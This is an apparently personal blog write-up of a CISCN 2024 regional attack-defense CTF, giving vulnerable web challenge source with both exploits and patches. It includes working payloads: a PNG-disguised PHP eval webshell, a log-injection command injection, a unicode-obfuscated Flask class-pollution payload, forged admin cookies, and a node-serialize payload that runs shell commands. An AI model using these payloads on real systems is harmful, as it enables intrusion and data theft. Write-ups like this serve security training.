CISCN 华东南分区赛 2024
本文最后更新于 76 天前,其中的信息可能已经有所发展或是发生改变。

rank 8,fix阶段翻盘,算是没白打

Web

submit

  • upload.php
<?php
// $path = "./uploads";
error_reporting(0);
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$allow_content_type = array("image/png");
$type = $_FILES["myfile"]["type"];
if (!in_array($type, $allow_content_type)) {
    die("只允许png哦!<br>");
}

if (preg_match('/(php|script|xml|user|htaccess)/i', $content)) {
    // echo "匹配成功!";
    die('鼠鼠说你的内容不符合哦0-0');
} else {
    $file = $path . '/' . $_FILES['myfile']['name'];
echo $file;

if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
        file_put_contents($file, $content);
        echo 'Success!<br>';
} else {
        echo 'Error!<br>';
}
}
?>

break

  • 修改Content-Typeimage/png,文件名为*.php
‰PNG
<?=eval($_POST['cmd']);>

fix

  • 限制文件名,加过滤(限制文件内容<?之类的不太行,正常的png很多也包含这种字符

粗心的程序员

break

  • 先扫目录,得到源代码/www.zip,主要关注home.php,命令注入,\r换行绕过
<?php
error_reporting(0);
include "default_info_auto_recovery.php";
session_start();
$p = $_SERVER["HTTP_X_FORWARDED_FOR"]?:$_SERVER["REMOTE_ADDR"];
if (preg_match("/\?|php|:/i",$p))
{
    die("");
}
$time = date('Y-m-d h:i:s', time());
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id){
    echo "Hello,"."$username";
    $str = "//登陆时间$time,$username $p";
    $str = str_replace("\n","",$str);
    file_put_contents("config.php",file_get_contents("config.php").$str);
}else{
    die("NO ACCESS");
}
?>

fix

  • 加过滤换行

Polluted

break

  • 一眼经典python原型链污染
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re

def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    Evil = evil()
    if request.data:
        if filter(str(request.data)):
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
        else:
            merge(json.loads(request.data), Evil)
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    if username and password:
        if username == "adminer" and password == app.secret_key:
            return render_template("important.html", flag=open("/flag", "rt").read())
        else:
            return "Unauthorized"
    else:
        return f'Hello,  This is the POLLUTED page.'

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True, port=80)
  • 使用unicode绕过过滤,污染app.static_folder app.static_url_path app.secret_key,直接访问/static/flag即可
POST / HTTP/1.1
Host: 10.1.119.20
Contest-Type: application/json
Content-Length: 481

{"username": "adminer", "password": "admin",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {"\u0061\u0070\u0070": {"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079": "admin",
"\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072": "../../../../../",
"\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0075\u0072\u006c\u005f\u0070\u0061\u0074\u0068": "/static"}} }}
  • 注意,为获取到合法的session,需要触发过滤避免json解析报错
Content-Type: application/x-www-form-urlencoded

username=adminer&password=admin&_

fix

  • 删除merge调用

bigfish

break

  • 修改cookie值进入后台
Cookie: username=admin; is_admin=true
  • 简单测试后发现可以通过修改数据存储位置达成任意文件读,读取/start.sh得到
cd /srv && node fish.js
  • 得到源码
const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');

// Change working directory to /srv
process.chdir('/srv');

let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];

// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
	fs.writeFile('data.html',"#获取的数据信息\n",function(error){
		console.log("wriet error")
	});
});


const app = express();

app.engine('html',require('express-art-template'))

app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))


data_path = "data.html";

// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
    if (!req.cookies.username) {
        res.cookie('username', 'normal');
    }
    if (!req.cookies.is_admin) {
        res.cookie('is_admin', 'false');
    }
    next();
}

//主页
app.get('/', function(req, res) {
	res.sendFile(path.join(__dirname, 'public/index.html'));
});

app.post('/',function(req, res){
	var data = JSON.stringify(req.body);
	fs.appendFile('data.html', data+"\n",function(error){
		console.log(req.body)
	});
	res.sendFile(path.join(__dirname, 'public/index.html'));
});


//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		res.render('admin.html',{
            datadir : data_path
        });
	}
});

app.post('/admin', setDefaultAdminCookies, function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		if(req.body.newname){
			data_path = req.body.newname;
			res.redirect('admin');
		}else{
			res.redirect('admin');
		}
	}
});


//已弃用的登录
app.get('/login', function(req, res) {
	res.sendFile(path.join(__dirname, 'public/login.html'));
});

app.post('/login', function(req, res) {
	if(req.cookies.profile){
        var str = new Buffer(req.cookies.profile, 'base64').toString();
        var obj = serialize.unserialize(str);
		if (obj.username) {
            if (escape(obj.username) === "admin") {
				res.send("Hello World");
			}
		}
	}else{
		res.sendFile(path.join(__dirname, 'public/data'));
	}
});

//QQ
app.get('/qq', function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		res.sendFile(path.join(__dirname, data_path));
	}
});


app.listen(80, '0.0.0.0');
  • 发现存在序列化入口
{"asd":"_$$ND_FUNC$$_()=>{});(()=>{require('child_process').execSync('cat /this_is_your_ffflagg>/srv/public/1')})();//"}

fix

这个靶机洞比较多,涉及任意文件读,xss,nodejs序列化

  • 任意文件读:把data_path写死为data.html
app.get('/qq', function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		res.sendFile(path.join(__dirname, "data.html"));
	}
});
  • xss:可能存在的地方有两处,访问/qq时回显data.html内容,访问/admin时回显数据存储文件名,分别修改
app.post('/',function(req, res){
	var data = JSON.stringify(req.body);
        // 转义data
	fs.appendFile('data.html', data+"\n",function(error){
		console.log(req.body)
	});
	res.sendFile(path.join(__dirname, 'public/index.html'));
});
//views/admin.html
<ul class="list-group">
  <li class="list-group-item">
  <form action="/admin" method="post">
    <b>数据储存位置:</b> 
    <--- 修改为 value="{{ datadir }}" --->
    <input type="text" name="newname" value={{ datadir }} >
    &nbsp 
    <input type="submit" value="修改">
  </form>
  </li>
  <li class="list-group-item">
    <b>当前运行软件:</b> fish.js
  </li>
</ul>
  • 序列化:加过滤
app.post('/login', function(req, res) {
	if(req.cookies.profile){
        var str = new Buffer(req.cookies.profile, 'base64').toString();
		if (str.indexOf('_$$ND_FUNC$$_') != -1) str='{}';
        var obj = serialize.unserialize(str);
		if (obj.username) {
            if (escape(obj.username) === "admin") {
				res.send("Hello World");
			}
		}
	}else{
		res.sendFile(path.join(__dirname, 'public/data'));
	}
});

Pwn

ezwp | stuck

break

  • 听说有非预期直接Ctrl-F,但是结束后启docker似乎并没有,可能环境不一样吧
  • index.php
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
	if(preg_match('/[a-z,A-Z,0-9<>\?]/', $_POST['code']) === 0){
		eval($_POST['code']);
	}else{
		die();
	}
}else{
	phpinfo();
}
?>
  • 首先一个无字母数字RCE,用自增,参考CTFShow某次挑战的payload(囤wp终于有次起到了作用,虽然最后也没打出来),同时发现存在disable_functions,分析myphp.so发现几个函数zif_phppwn,可以通过输入密码获取flag,但是长度不够,需要绕过,然后不会

fix

  • 听我们的pwn手说把/flag字符改了也行,但是第一次check没过,不清楚是down了还是没成功替换,总之最后一轮过了
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇